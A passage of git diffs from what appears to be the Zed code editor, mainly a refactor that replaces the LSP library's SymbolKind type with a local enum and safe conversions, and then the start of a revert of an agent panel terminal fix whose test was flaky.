+        lsp::SymbolKind::NUMBER => SymbolKind::Number,
+        lsp::SymbolKind::BOOLEAN => SymbolKind::Boolean,
+        lsp::SymbolKind::ARRAY => SymbolKind::Array,
+        lsp::SymbolKind::OBJECT => SymbolKind::Object,
+        lsp::SymbolKind::KEY => SymbolKind::Key,
+        lsp::SymbolKind::NULL => SymbolKind::Null,
+        lsp::SymbolKind::ENUM_MEMBER => SymbolKind::EnumMember,
+        lsp::SymbolKind::STRUCT => SymbolKind::Struct,
+        lsp::SymbolKind::EVENT => SymbolKind::Event,
+        lsp::SymbolKind::OPERATOR => SymbolKind::Operator,
+        lsp::SymbolKind::TYPE_PARAMETER => SymbolKind::TypeParameter,
+        _ => SymbolKind::Null,
+    }
+}
+
 /// Commands that the client (editor) handles locally rather than forwarding
 /// to the language server. Servers embed these in code lens and code action
 /// responses when they want the editor to perform a well-known UI action.
@@ -233,6 +299,17 @@ pub struct Location {
     pub range: Range<Anchor>,
 }
 
+/// Context provided to LSP adapters when a user responds to a ShowMessageRequest prompt.
+/// This allows adapters to intercept preference selections (like "Always" or "Never")
+/// and potentially persist them to Zed's settings.
+#[derive(Debug, Clone)]
+pub struct PromptResponseContext {
+    /// The original message shown to the user
+    pub message: String,
+    /// The action (button) the user selected
+    pub selected_action: lsp::MessageActionItem,
+}
+
 type ServerBinaryCache = futures::lock::Mutex<Option<(bool, LanguageServerBinary)>>;
 type DownloadableLanguageServerBinary = LocalBoxFuture<'static, Result<LanguageServerBinary>>;
 pub type LanguageServerBinaryLocations = LocalBoxFuture<
diff --git a/crates/language_core/Cargo.toml b/crates/language_core/Cargo.toml
index 47a30d8316cdec..7d77847a9c65a6 100644
--- a/crates/language_core/Cargo.toml
+++ b/crates/language_core/Cargo.toml
@@ -13,7 +13,6 @@ collections.workspace = true
 gpui_shared_string.workspace = true
 gpui_util.workspace = true
 log.workspace = true
-lsp-types.workspace = true
 parking_lot.workspace = true
 path.workspace = true
 regex.workspace = true
diff --git a/crates/language_core/src/code_label.rs b/crates/language_core/src/code_label.rs
index 74e1d43e0c48ad..d171527478bdae 100644
--- a/crates/language_core/src/code_label.rs
+++ b/crates/language_core/src/code_label.rs
@@ -1,10 +1,74 @@
 use crate::highlight_map::HighlightId;
 use std::ops::Range;
 
+#[derive(Debug, Eq, PartialEq, Copy, Clone)]
+pub enum SymbolKind {
+    File,
+    Module,
+    Namespace,
+    Package,
+    Class,
+    Method,
+    Property,
+    Field,
+    Constructor,
+    Enum,
+    Interface,
+    Function,
+    Variable,
+    Constant,
+    String,
+    Number,
+    Boolean,
+    Array,
+    Object,
+    Key,
+    Null,
+    EnumMember,
+    Struct,
+    Event,
+    Operator,
+    TypeParameter,
+}
+
+impl SymbolKind {
+    pub fn from_proto(i32: i32) -> Self {
+        match i32 {
+            1 => SymbolKind::File,
+            2 => SymbolKind::Module,
+            3 => SymbolKind::Namespace,
+            4 => SymbolKind::Package,
+            5 => SymbolKind::Class,
+            6 => SymbolKind::Method,
+            7 => SymbolKind::Property,
+            8 => SymbolKind::Field,
+            9 => SymbolKind::Constructor,
+            10 => SymbolKind::Enum,
+            11 => SymbolKind::Interface,
+            12 => SymbolKind::Function,
+            13 => SymbolKind::Variable,
+            14 => SymbolKind::Constant,
+            15 => SymbolKind::String,
+            16 => SymbolKind::Number,
+            17 => SymbolKind::Boolean,
+            18 => SymbolKind::Array,
+            19 => SymbolKind::Object,
+            20 => SymbolKind::Key,
+            21 => SymbolKind::Null,
+            22 => SymbolKind::EnumMember,
+            23 => SymbolKind::Struct,
+            24 => SymbolKind::Event,
+            25 => SymbolKind::Operator,
+            26 => SymbolKind::TypeParameter,
+            _ => SymbolKind::Null,
+        }
+    }
+}
+
 #[derive(Debug, Clone)]
 pub struct Symbol {
     pub name: String,
-    pub kind: lsp_types::SymbolKind,
+    pub kind: SymbolKind,
     pub container_name: Option<String>,
 }
 
diff --git a/crates/language_core/src/diagnostic.rs b/crates/language_core/src/diagnostic.rs
deleted file mode 100644
index b8c4fe8535d612..00000000000000
--- a/crates/language_core/src/diagnostic.rs
+++ /dev/null
@@ -1,76 +0,0 @@
-use gpui_shared_string::SharedString;
-use lsp_types::{DiagnosticSeverity, NumberOrString};
-use serde::{Deserialize, Serialize};
-use serde_json::Value;
-
-/// A diagnostic associated with a certain range of a buffer.
-#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
-pub struct Diagnostic {
-    /// The name of the service that produced this diagnostic.
-    pub source: Option<String>,
-    /// The ID provided by the dynamic registration that produced this diagnostic.
-    pub registration_id: Option<SharedString>,
-    /// A machine-readable code that identifies this diagnostic.
-    pub code: Option<NumberOrString>,
-    pub code_description: Option<lsp_types::Uri>,
-    /// Whether this diagnostic is a hint, warning, or error.
-    pub severity: DiagnosticSeverity,
-    /// The human-readable message associated with this diagnostic.
-    pub message: String,
-    /// The human-readable message (in markdown format)
-    pub markdown: Option<String>,
-    /// An id that identifies the group to which this diagnostic belongs.
-    ///
-    /// When a language server produces a diagnostic with
-    /// one or more associated diagnostics, those diagnostics are all
-    /// assigned a single group ID.
-    pub group_id: usize,
-    /// Whether this diagnostic is the primary diagnostic for its group.
-    ///
-    /// In a given group, the primary diagnostic is the top-level diagnostic
-    /// returned by the language server. The non-primary diagnostics are the
-    /// associated diagnostics.
-    pub is_primary: bool,
-    /// Whether this diagnostic is considered to originate from an analysis of
-    /// files on disk, as opposed to any unsaved buffer contents. This is a
-    /// property of a given diagnostic source, and is configured for a given
-    /// language server via the `LspAdapter::disk_based_diagnostic_sources` method
-    /// for the language server.
-    pub is_disk_based: bool,
-    /// Whether this diagnostic marks unnecessary code.
-    pub is_unnecessary: bool,
-    /// Quick separation of diagnostics groups based by their source.
-    pub source_kind: DiagnosticSourceKind,
-    /// Data from language server that produced this diagnostic. Passed back to the LS when we request code actions for this diagnostic.
-    pub data: Option<Value>,
-    /// Whether to underline the corresponding text range in the editor.
-    pub underline: bool,
-}
-
-#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
-pub enum DiagnosticSourceKind {
-    Pulled,
-    Pushed,
-    Other,
-}
-
-impl Default for Diagnostic {
-    fn default() -> Self {
-        Self {
-            source: Default::default(),
-            source_kind: DiagnosticSourceKind::Other,
-            code: None,
-            code_description: None,
-            severity: DiagnosticSeverity::ERROR,
-            message: Default::default(),
-            markdown: None,
-            group_id: 0,
-            is_primary: false,
-            is_disk_based: false,
-            is_unnecessary: false,
-            underline: true,
-            data: None,
-            registration_id: None,
-        }
-    }
-}
diff --git a/crates/language_core/src/language_core.rs b/crates/language_core/src/language_core.rs
index 8a45bd57a25cb7..2edbcbea9d280d 100644
--- a/crates/language_core/src/language_core.rs
+++ b/crates/language_core/src/language_core.rs
@@ -1,12 +1,10 @@
 // language_core: tree-sitter grammar infrastructure, LSP adapter traits,
 // language configuration, and highlight mapping.
 
-pub mod diagnostic;
 pub mod grammar;
 pub mod highlight_map;
 pub mod language_config;
 
-pub use diagnostic::{Diagnostic, DiagnosticSourceKind};
 pub use grammar::{
     BracketsConfig, BracketsPatternConfig, DebugVariablesConfig, DebuggerTextObject, Grammar,
     GrammarId, HighlightsConfig, IndentConfig, InjectionConfig, InjectionPatternConfig,
@@ -29,11 +27,9 @@ pub mod manifest;
 pub mod queries;
 pub mod toolchain;
 
-pub use code_label::{CodeLabel, CodeLabelBuilder, Symbol};
+pub use code_label::{CodeLabel, CodeLabelBuilder, Symbol, SymbolKind};
 pub use language_name::{LanguageId, LanguageName};
-pub use lsp_adapter::{
-    BinaryStatus, LanguageServerStatusUpdate, PromptResponseContext, ServerHealth, ToLspPosition,
-};
+pub use lsp_adapter::{BinaryStatus, LanguageServerStatusUpdate, ServerHealth};
 pub use manifest::ManifestName;
 pub use queries::{LanguageQueries, QUERY_FILENAME_PREFIXES};
 pub use toolchain::{Toolchain, ToolchainList, ToolchainMetadata, ToolchainScope};
diff --git a/crates/language_core/src/lsp_adapter.rs b/crates/language_core/src/lsp_adapter.rs
index 230e1b4aa194e5..34fac0790b31cc 100644
--- a/crates/language_core/src/lsp_adapter.rs
+++ b/crates/language_core/src/lsp_adapter.rs
@@ -1,23 +1,6 @@
 use gpui_shared_string::SharedString;
 use serde::{Deserialize, Serialize};
 
-/// Converts a value into an LSP position.
-pub trait ToLspPosition {
-    /// Converts the value into an LSP position.
-    fn to_lsp_position(self) -> lsp_types::Position;
-}
-
-/// Context provided to LSP adapters when a user responds to a ShowMessageRequest prompt.
-/// This allows adapters to intercept preference selections (like "Always" or "Never")
-/// and potentially persist them to Zed's settings.
-#[derive(Debug, Clone)]
-pub struct PromptResponseContext {
-    /// The original message shown to the user
-    pub message: String,
-    /// The action (button) the user selected
-    pub selected_action: lsp_types::MessageActionItem,
-}
-
 #[derive(Clone, Debug, PartialEq, Eq)]
 pub enum LanguageServerStatusUpdate {
     Binary(BinaryStatus),
diff --git a/crates/language_extension/src/extension_lsp_adapter.rs b/crates/language_extension/src/extension_lsp_adapter.rs
index 44092bf2639827..d9f28100d809d8 100644
--- a/crates/language_extension/src/extension_lsp_adapter.rs
+++ b/crates/language_extension/src/extension_lsp_adapter.rs
@@ -476,7 +476,7 @@ impl LspAdapter for ExtensionLspAdapter {
                      container_name,
                  }| extension::Symbol {
                     name,
-                    kind: lsp_symbol_kind_to_extension(kind),
+                    kind: symbol_kind_to_extension(kind),
                     container_name,
                 },
             )
@@ -636,35 +636,34 @@ fn lsp_insert_text_format_to_extension(
     }
 }
 
-fn lsp_symbol_kind_to_extension(value: lsp::SymbolKind) -> extension::SymbolKind {
+fn symbol_kind_to_extension(value: language::SymbolKind) -> extension::SymbolKind {
     match value {
-        lsp::SymbolKind::FILE => extension::SymbolKind::File,
-        lsp::SymbolKind::MODULE => extension::SymbolKind::Module,
-        lsp::SymbolKind::NAMESPACE => extension::SymbolKind::Namespace,
-        lsp::SymbolKind::PACKAGE => extension::SymbolKind::Package,
-        lsp::SymbolKind::CLASS => extension::SymbolKind::Class,
-        lsp::SymbolKind::METHOD => extension::SymbolKind::Method,
-        lsp::SymbolKind::PROPERTY => extension::SymbolKind::Property,
-        lsp::SymbolKind::FIELD => extension::SymbolKind::Field,
-        lsp::SymbolKind::CONSTRUCTOR => extension::SymbolKind::Constructor,
-        lsp::SymbolKind::ENUM => extension::SymbolKind::Enum,
-        lsp::SymbolKind::INTERFACE => extension::SymbolKind::Interface,
-        lsp::SymbolKind::FUNCTION => extension::SymbolKind::Function,
-        lsp::SymbolKind::VARIABLE => extension::SymbolKind::Variable,
-        lsp::SymbolKind::CONSTANT => extension::SymbolKind::Constant,
-        lsp::SymbolKind::STRING => extension::SymbolKind::String,
-        lsp::SymbolKind::NUMBER => extension::SymbolKind::Number,
-        lsp::SymbolKind::BOOLEAN => extension::SymbolKind::Boolean,
-        lsp::SymbolKind::ARRAY => extension::SymbolKind::Array,
-        lsp::SymbolKind::OBJECT => extension::SymbolKind::Object,
-        lsp::SymbolKind::KEY => extension::SymbolKind::Key,
-        lsp::SymbolKind::NULL => extension::SymbolKind::Null,
-        lsp::SymbolKind::ENUM_MEMBER => extension::SymbolKind::EnumMember,
-        lsp::SymbolKind::STRUCT => extension::SymbolKind::Struct,
-        lsp::SymbolKind::EVENT => extension::SymbolKind::Event,
-        lsp::SymbolKind::OPERATOR => extension::SymbolKind::Operator,
-        lsp::SymbolKind::TYPE_PARAMETER => extension::SymbolKind::TypeParameter,
-        _ => extension::SymbolKind::Other(extract_int(value)),
+        language::SymbolKind::File => extension::SymbolKind::File,
+        language::SymbolKind::Module => extension::SymbolKind::Module,
+        language::SymbolKind::Namespace => extension::SymbolKind::Namespace,
+        language::SymbolKind::Package => extension::SymbolKind::Package,
+        language::SymbolKind::Class => extension::SymbolKind::Class,
+        language::SymbolKind::Method => extension::SymbolKind::Method,
+        language::SymbolKind::Property => extension::SymbolKind::Property,
+        language::SymbolKind::Field => extension::SymbolKind::Field,
+        language::SymbolKind::Constructor => extension::SymbolKind::Constructor,
+        language::SymbolKind::Enum => extension::SymbolKind::Enum,
+        language::SymbolKind::Interface => extension::SymbolKind::Interface,
+        language::SymbolKind::Function => extension::SymbolKind::Function,
+        language::SymbolKind::Variable => extension::SymbolKind::Variable,
+        language::SymbolKind::Constant => extension::SymbolKind::Constant,
+        language::SymbolKind::String => extension::SymbolKind::String,
+        language::SymbolKind::Number => extension::SymbolKind::Number,
+        language::SymbolKind::Boolean => extension::SymbolKind::Boolean,
+        language::SymbolKind::Array => extension::SymbolKind::Array,
+        language::SymbolKind::Object => extension::SymbolKind::Object,
+        language::SymbolKind::Key => extension::SymbolKind::Key,
+        language::SymbolKind::Null => extension::SymbolKind::Null,
+        language::SymbolKind::EnumMember => extension::SymbolKind::EnumMember,
+        language::SymbolKind::Struct => extension::SymbolKind::Struct,
+        language::SymbolKind::Event => extension::SymbolKind::Event,
+        language::SymbolKind::Operator => extension::SymbolKind::Operator,
+        language::SymbolKind::TypeParameter => extension::SymbolKind::TypeParameter,
     }
 }
 
diff --git a/crates/languages/src/c.rs b/crates/languages/src/c.rs
index eb24dea0deef5f..ee2d214caf611e 100644
--- a/crates/languages/src/c.rs
+++ b/crates/languages/src/c.rs
@@ -300,43 +300,43 @@ impl super::LspAdapter for CLspAdapter {
     ) -> Option<CodeLabel> {
         let name = &symbol.name;
         let (text, filter_range, display_range) = match symbol.kind {
-            lsp::SymbolKind::METHOD | lsp::SymbolKind::FUNCTION => {
+            language::SymbolKind::Method | language::SymbolKind::Function => {
                 let text = format!("void {} () {{}}", name);
                 let filter_range = 0..name.len();
                 let display_range = 5..5 + name.len();
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::STRUCT => {
+            language::SymbolKind::Struct => {
                 let text = format!("struct {} {{}}", name);
                 let filter_range = 7..7 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::ENUM => {
+            language::SymbolKind::Enum => {
                 let text = format!("enum {} {{}}", name);
                 let filter_range = 5..5 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::INTERFACE | lsp::SymbolKind::CLASS => {
+            language::SymbolKind::Interface | language::SymbolKind::Class => {
                 let text = format!("class {} {{}}", name);
                 let filter_range = 6..6 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::CONSTANT => {
+            language::SymbolKind::Constant => {
                 let text = format!("const int {} = 0;", name);
                 let filter_range = 10..10 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::MODULE => {
+            language::SymbolKind::Module => {
                 let text = format!("namespace {} {{}}", name);
                 let filter_range = 10..10 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::TYPE_PARAMETER => {
+            language::SymbolKind::TypeParameter => {
                 let text = format!("typename {} {{}};", name);
                 let filter_range = 9..9 + name.len();
                 let display_range = 0..filter_range.end;
diff --git a/crates/languages/src/go.rs b/crates/languages/src/go.rs
index 87efea16c854d2..d2e68be4f12ca5 100644
--- a/crates/languages/src/go.rs
+++ b/crates/languages/src/go.rs
@@ -394,43 +394,43 @@ impl LspAdapter for GoLspAdapter {
     ) -> Option<CodeLabel> {
         let name = &symbol.name;
         let (text, filter_range, display_range) = match symbol.kind {
-            lsp::SymbolKind::METHOD | lsp::SymbolKind::FUNCTION => {
+            language::SymbolKind::Method | language::SymbolKind::Function => {
                 let text = format!("func {} () {{}}", name);
                 let filter_range = 5..5 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::STRUCT => {
+            language::SymbolKind::Struct => {
                 let text = format!("type {} struct {{}}", name);
                 let filter_range = 5..5 + name.len();
                 let display_range = 0..text.len();
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::INTERFACE => {
+            language::SymbolKind::Interface => {
                 let text = format!("type {} interface {{}}", name);
                 let filter_range = 5..5 + name.len();
                 let display_range = 0..text.len();
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::CLASS => {
+            language::SymbolKind::Class => {
                 let text = format!("type {} T", name);
                 let filter_range = 5..5 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::CONSTANT => {
+            language::SymbolKind::Constant => {
                 let text = format!("const {} = nil", name);
                 let filter_range = 6..6 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::VARIABLE => {
+            language::SymbolKind::Variable => {
                 let text = format!("var {} = nil", name);
                 let filter_range = 4..4 + name.len();
                 let display_range = 0..filter_range.end;
                 (text, filter_range, display_range)
             }
-            lsp::SymbolKind::MODULE => {
+            language::SymbolKind::Module => {
                 let text = format!("package {}", name);
                 let filter_range = 8..8 + name.len();
                 let display_range = 0..filter_range.end;
diff --git a/crates/languages/src/python.rs b/crates/languages/src/python.rs
index 7764f8f2403474..01d2b450c5beb8 100644
--- a/crates/languages/src/python.rs
+++ b/crates/languages/src/python.rs
@@ -220,19 +220,19 @@ fn label_for_python_symbol(
 ) -> Option<language::CodeLabel> {
     let name = &symbol.name;
     let (text, filter_range, display_range) = match symbol.kind {
-        lsp::SymbolKind::METHOD | lsp::SymbolKind::FUNCTION => {
+        language::SymbolKind::Method | language::SymbolKind::Function => {
             let text = format!("def {}():\n", name);
             let filter_range = 4..4 + name.len();
             let display_range = 0..filter_range.end;
             (text, filter_range, display_range)
         }
-        lsp::SymbolKind::CLASS => {
+        language::SymbolKind::Class => {
             let text = format!("class {}:", name);
             let filter_range = 6..6 + name.len();
             let display_range = 0..filter_range.end;
             (text, filter_range, display_range)
         }
-        lsp::SymbolKind::CONSTANT => {
+        language::SymbolKind::Constant => {
             let text = format!("{} = 0", name);
             let filter_range = 0..name.len();
             let display_range = 0..filter_range.end;
diff --git a/crates/languages/src/rust.rs b/crates/languages/src/rust.rs
index b34e92bbd93b0a..4091be97ed3d19 100644
--- a/crates/languages/src/rust.rs
+++ b/crates/languages/src/rust.rs
@@ -622,15 +622,15 @@ impl LspAdapter for RustLspAdapter {
     ) -> Option<CodeLabel> {
         let name = &symbol.name;
         let (prefix, suffix) = match symbol.kind {
-            lsp::SymbolKind::METHOD | lsp::SymbolKind::FUNCTION => ("fn ", "();"),
-            lsp::SymbolKind::STRUCT => ("struct ", ";"),
-            lsp::SymbolKind::ENUM => ("enum ", "{}"),
-            lsp::SymbolKind::INTERFACE => ("trait ", "{}"),
-            lsp::SymbolKind::CONSTANT => ("const ", ":()=();"),
-            lsp::SymbolKind::MODULE => ("mod ", ";"),
-            lsp::SymbolKind::PACKAGE => ("extern crate ", ";"),
-            lsp::SymbolKind::TYPE_PARAMETER => ("type ", "=();"),
-            lsp::SymbolKind::ENUM_MEMBER => {
+            language::SymbolKind::Method | language::SymbolKind::Function => ("fn ", "();"),
+            language::SymbolKind::Struct => ("struct ", ";"),
+            language::SymbolKind::Enum => ("enum ", "{}"),
+            language::SymbolKind::Interface => ("trait ", "{}"),
+            language::SymbolKind::Constant => ("const ", ":()=();"),
+            language::SymbolKind::Module => ("mod ", ";"),
+            language::SymbolKind::Package => ("extern crate ", ";"),
+            language::SymbolKind::TypeParameter => ("type ", "=();"),
+            language::SymbolKind::EnumMember => {
                 let prefix = "enum E {";
                 return Some(CodeLabel::new(
                     name.to_string(),
@@ -1972,7 +1972,7 @@ mod tests {
                 .label_for_symbol(
                     &language::Symbol {
                         name: "hello".to_string(),
-                        kind: lsp::SymbolKind::FUNCTION,
+                        kind: language::SymbolKind::Function,
                         container_name: None,
                     },
                     &language
@@ -1990,7 +1990,7 @@ mod tests {
                 .label_for_symbol(
                     &language::Symbol {
                         name: "World".to_string(),
-                        kind: lsp::SymbolKind::TYPE_PARAMETER,
+                        kind: language::SymbolKind::TypeParameter,
                         container_name: None,
                     },
                     &language
@@ -2008,7 +2008,7 @@ mod tests {
                 .label_for_symbol(
                     &language::Symbol {
                         name: "zed".to_string(),
-                        kind: lsp::SymbolKind::PACKAGE,
+                        kind: language::SymbolKind::Package,
                         container_name: None,
                     },
                     &language
@@ -2026,7 +2026,7 @@ mod tests {
                 .label_for_symbol(
                     &language::Symbol {
                         name: "Variant".to_string(),
-                        kind: lsp::SymbolKind::ENUM_MEMBER,
+                        kind: language::SymbolKind::EnumMember,
                         container_name: None,
                     },
                     &language
diff --git a/crates/project/src/lsp_command.rs b/crates/project/src/lsp_command.rs
index 038950a04503d5..7ed33f280d8777 100644
--- a/crates/project/src/lsp_command.rs
+++ b/crates/project/src/lsp_command.rs
@@ -19,7 +19,7 @@ use language::{
     Anchor, Bias, Buffer, BufferSnapshot, CachedLspAdapter, CharKind, CharScopeContext,
     OffsetRangeExt, PointUtf16, ToOffset, ToPointUtf16, Transaction, Unclipped,
     language_settings::{InlayHintKind, LanguageSettings},
-    point_from_lsp, point_to_lsp,
+    lsp_to_symbol_kind, point_from_lsp, point_to_lsp,
     proto::{
         deserialize_anchor, deserialize_anchor_range, deserialize_version, serialize_anchor,
         serialize_anchor_range, serialize_version,
@@ -35,9 +35,7 @@ use lsp::{
 use serde_json::Value;
 
 use signature_help::{lsp_to_proto_signature, proto_to_lsp_signature};
-use std::{
-    cmp::Reverse, collections::hash_map, mem, ops::Range, path::Path, str::FromStr, sync::Arc,
-};
+use std::{cmp::Reverse, collections::hash_map, ops::Range, path::Path, str::FromStr, sync::Arc};
 use text::{BufferId, LineEnding};
 use util::rel_path::RelPath;
 use util::{ResultExt as _, debug_panic};
@@ -2035,7 +2033,7 @@ impl LspCommand for GetDocumentSymbols {
                 .into_iter()
                 .map(|lsp_symbol| DocumentSymbol {
                     name: lsp_symbol.name,
-                    kind: lsp_symbol.kind,
+                    kind: lsp_to_symbol_kind(lsp_symbol.kind),
                     range: range_from_lsp(lsp_symbol.location.range),
                     selection_range: range_from_lsp(lsp_symbol.location.range),
                     children: Vec::new(),
@@ -2045,7 +2043,7 @@ impl LspCommand for GetDocumentSymbols {
                 fn convert_symbol(lsp_symbol: lsp::DocumentSymbol) -> DocumentSymbol {
                     DocumentSymbol {
                         name: lsp_symbol.name,
-                        kind: lsp_symbol.kind,
+                        kind: lsp_to_symbol_kind(lsp_symbol.kind),
                         range: range_from_lsp(lsp_symbol.range),
                         selection_range: range_from_lsp(lsp_symbol.selection_range),
                         children: lsp_symbol
@@ -2097,7 +2095,7 @@ impl LspCommand for GetDocumentSymbols {
                 fn convert_symbol_to_proto(symbol: DocumentSymbol) -> proto::DocumentSymbol {
                     proto::DocumentSymbol {
                         name: symbol.name.clone(),
-                        kind: unsafe { mem::transmute::<lsp::SymbolKind, i32>(symbol.kind) },
+                        kind: symbol.kind as i32,
                         start: Some(proto::PointUtf16 {
                             row: symbol.range.start.0.row,
                             column: symbol.range.start.0.column,
@@ -2140,8 +2138,7 @@ impl LspCommand for GetDocumentSymbols {
             fn deserialize_symbol_with_children(
                 serialized_symbol: proto::DocumentSymbol,
             ) -> Result<DocumentSymbol> {
-                let kind =
-                    unsafe { mem::transmute::<i32, lsp::SymbolKind>(serialized_symbol.kind) };
+                let kind = language::SymbolKind::from_proto(serialized_symbol.kind);
 
                 let start = serialized_symbol.start.context("invalid start")?;
                 let end = serialized_symbol.end.context("invalid end")?;
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index e943edd62eb955..38117a9731cda9 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -83,7 +83,7 @@ use language::{
         AllLanguageSettings, FormatOnSave, Formatter, LanguageSettings, LineEndingSetting,
         all_language_settings,
     },
-    modeline, point_to_lsp,
+    lsp_to_symbol_kind, modeline, point_to_lsp,
     proto::{
         deserialize_anchor, deserialize_anchor_range, deserialize_version, serialize_anchor,
         serialize_anchor_range, serialize_version,
@@ -98,7 +98,7 @@ use lsp::{
     FileOperationRegistrationOptions, FileRename, FileSystemWatcher, LanguageServer,
     LanguageServerBinary, LanguageServerBinaryOptions, LanguageServerId, LanguageServerName,
     LanguageServerSelector, LspRequestFuture, MessageActionItem, MessageType, OneOf,
-    RenameFilesParams, SymbolKind, TextDocumentSyncSaveOptions, TextEdit, Uri, WillRenameFiles,
+    RenameFilesParams, TextDocumentSyncSaveOptions, TextEdit, Uri, WillRenameFiles,
     WorkDoneProgressCancelParams, WorkspaceFolder, notification::DidRenameFiles,
 };
 use node_runtime::read_package_installed_version;
@@ -4273,7 +4273,7 @@ struct CoreSymbol {
     pub source_language_server_id: LanguageServerId,
     pub path: SymbolLocation,
     pub name: String,
-    pub kind: lsp::SymbolKind,
+    pub kind: language::SymbolKind,
     pub range: Range<Unclipped<PointUtf16>>,
     pub container_name: Option<String>,
 }
@@ -8173,7 +8173,7 @@ impl LspStore {
                 server_id: LanguageServerId,
                 lsp_adapter: Arc<CachedLspAdapter>,
                 worktree: WeakEntity<Worktree>,
-                lsp_symbols: Vec<(String, SymbolKind, lsp::Location, Option<String>)>,
+                lsp_symbols: Vec<(String, language::SymbolKind, lsp::Location, Option<String>)>,
             }
 
             let mut requests = Vec::new();
@@ -8243,7 +8243,7 @@ impl LspStore {
                                             .map(|lsp_symbol| {
                                                 (
                                                     lsp_symbol.name,
-                                                    lsp_symbol.kind,
+                                                    lsp_to_symbol_kind(lsp_symbol.kind),
                                                     lsp_symbol.location,
                                                     lsp_symbol.container_name,
                                                 )
@@ -8267,7 +8267,7 @@ impl LspStore {
                                                 };
                                                 Some((
                                                     lsp_symbol.name,
-                                                    lsp_symbol.kind,
+                                                    lsp_to_symbol_kind(lsp_symbol.kind),
                                                     location,
                                                     lsp_symbol.container_name,
                                                 ))
@@ -12569,7 +12569,7 @@ impl LspStore {
             source_worktree_id: symbol.source_worktree_id.to_proto(),
             language_server_id: symbol.source_language_server_id.to_proto(),
             name: symbol.name.clone(),
-            kind: unsafe { mem::transmute::<lsp::SymbolKind, i32>(symbol.kind) },
+            kind: symbol.kind as i32,
             start: Some(proto::PointUtf16 {
                 row: symbol.range.start.0.row,
                 column: symbol.range.start.0.column,
@@ -12602,7 +12602,7 @@ impl LspStore {
     fn deserialize_symbol(serialized_symbol: proto::Symbol) -> Result<CoreSymbol> {
         let source_worktree_id = WorktreeId::from_proto(serialized_symbol.source_worktree_id);
         let worktree_id = WorktreeId::from_proto(serialized_symbol.worktree_id);
-        let kind = unsafe { mem::transmute::<i32, lsp::SymbolKind>(serialized_symbol.kind) };
+        let kind = language::SymbolKind::from_proto(serialized_symbol.kind);
 
         let path = if serialized_symbol.signature.is_empty() {
             SymbolLocation::InProject(ProjectPath {
diff --git a/crates/project/src/lsp_store/document_symbols.rs b/crates/project/src/lsp_store/document_symbols.rs
index 98f66d9fdb365f..babb08ffc1de79 100644
--- a/crates/project/src/lsp_store/document_symbols.rs
+++ b/crates/project/src/lsp_store/document_symbols.rs
@@ -328,6 +328,7 @@ fn enriched_symbol_text(
 mod tests {
     use super::*;
     use gpui::TestAppContext;
+    use language::lsp_to_symbol_kind;
     use text::{OffsetRangeExt, Point, Unclipped};
 
     fn make_symbol(
@@ -340,7 +341,7 @@ mod tests {
         use text::PointUtf16;
         DocumentSymbol {
             name: name.to_string(),
-            kind,
+            kind: lsp_to_symbol_kind(kind),
             range: Unclipped(PointUtf16::new(range.start.0, range.start.1))
                 ..Unclipped(PointUtf16::new(range.end.0, range.end.1)),
             selection_range: Unclipped(PointUtf16::new(
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 17308d9d5a4770..3ceed0412f04b2 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -865,7 +865,7 @@ pub struct Symbol {
     pub path: SymbolLocation,
     pub label: CodeLabel,
     pub name: String,
-    pub kind: lsp::SymbolKind,
+    pub kind: language::SymbolKind,
     pub range: Range<Unclipped<PointUtf16>>,
     pub container_name: Option<String>,
 }
@@ -873,7 +873,7 @@ pub struct Symbol {
 #[derive(Clone, Debug)]
 pub struct DocumentSymbol {
     pub name: String,
-    pub kind: lsp::SymbolKind,
+    pub kind: language::SymbolKind,
     pub range: Range<Unclipped<PointUtf16>>,
     pub selection_range: Range<Unclipped<PointUtf16>>,
     pub children: Vec<DocumentSymbol>,

From 7da35f5774f86c016222a6eda05222003dd88fb6 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 15 Jul 2026 12:57:06 +0200
Subject: [PATCH 478/772] Revert "agent_ui: Fix duplicate terminal when
 starting a new agent thread" (#61042)

Reverts zed-industries/zed#59586
The test introduced here is flaky
---
 crates/agent_ui/src/agent_panel.rs | 29 -----------------------------
 1 file changed, 29 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 86da545d9754da..11d0986603e00a 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2037,7 +2037,6 @@ impl AgentPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.pending_terminal_spawn = Some(terminal_id);
         let terminal_working_directory = working_directory.clone();
         let init_command = Self::terminal_init_command(run_init_command, cx);
         let terminal_task = self.project.update(cx, |project, cx| {
@@ -7373,34 +7372,6 @@ mod tests {
         });
     }
 
-    #[gpui::test]
-    async fn test_explicit_terminal_blocks_redundant_auto_init(cx: &mut TestAppContext) {
-        let (panel, mut cx) = setup_panel(cx).await;
-
-        panel.update_in(&mut cx, |panel, window, cx| {
-            panel.last_created_entry_kind = AgentPanelEntryKind::Terminal;
-            assert!(
-                matches!(panel.base_view, BaseView::Uninitialized),
-                "precondition: the panel starts uninitialized"
-            );
-            assert!(
